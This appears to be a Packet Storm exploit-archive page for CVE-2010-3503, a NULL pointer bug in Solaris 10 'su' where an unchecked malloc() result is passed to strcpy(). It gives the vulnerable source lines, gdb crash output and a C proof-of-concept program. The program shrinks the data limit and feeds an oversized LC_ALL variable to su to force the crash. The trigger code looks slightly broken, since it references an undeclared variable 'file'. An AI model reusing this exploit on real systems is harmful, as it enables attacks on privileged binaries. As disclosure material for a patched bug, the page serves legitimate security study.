exploit the possibilities

Oracle Solaris su NULL Pointer

Oracle Solaris su NULL Pointer
Posted Oct 14, 2010
Authored by prdelka | Site prdelka.blackart.org.uk

Oracle Sun Solaris 10 su NULL point proof of concept exploit.

tags | exploit, proof of concept
systems | solaris
advisories | CVE-2010-3503
MD5 | 12522e812cbd7d210fa5a20184a0dd37

Oracle Solaris su NULL Pointer

Change Mirror Download
From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c

521 for (j = 0; initenv[j] != 0; j++) { [1]
522 if (initvar = getenv(initenv[j])) { [2]
...
535 } else {
536 var = (char *)
537 malloc(strlen(initenv[j]) [3]
538 + strlen(initvar)
539 + 2);
540 (void) strcpy(var, initenv[j]); [4]

'su' when creating new environment from inherited environment inherits values defined
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
a null ptr vulnerability in 'su'.


Program terminated with signal 11, Segmentation fault.
#0 0xd1244734 in ?? ()
(gdb) x/i $pc
0xd1244734: mov %eax,(%edi)
(gdb) i r $eax
eax 0x415f434c 1096762188 <- OUR STRING
(gdb) i r $edi
edi 0x0 0 <- NULL PTR

Incurred fault #6, FLTBOUNDS %pc = 0xD1244734
siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000


----[ PoC trigger 'su' as you.
/* Sun Solaris <= 10 'su' NULL pointer exploit
===========================================
because these are so 2009 now. I would exploit
this but my name is not spender or raptor. Sun
do not check a call to malloc() when handling
environment variables in 'su' code. They also
don't check passwords when using telnet so who
cares? You have to enter your local user pass
to see this bug. Enjoy!

admin@sundevil:~/suid$ ./x
[ SunOS 5.11 'su' null ptr PoC
Password:
Segmentation Fault

-- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
rlim_t rlim_cur; /* current (soft) limit */
rlim_t rlim_max; /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
int fd;
struct rlimit* rlp = malloc(sizeof(rlimit));
getrlimit(RLIMIT_DATA,rlp);
char* buf1 = malloc(300000);
memset(buf1,'A',300000);
long buf2 = (long)buf1 + 299999;
memset((char*)buf2,0,1);
memcpy(buf1,"LC_ALL=",7);
rlp->rlim_cur = 16400;
setrlimit(RLIMIT_DATA,rlp);
char* env[] = {buf1,file,NULL};
char* args[] = {"su","-",getlogin(),NULL};
printf("[ SunOS 5.11 'su' null ptr PoC\n");
execve("/usr/bin/su",args,env);
}


// This was disclosed and patched in October 2010, CVE-2010-3503

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close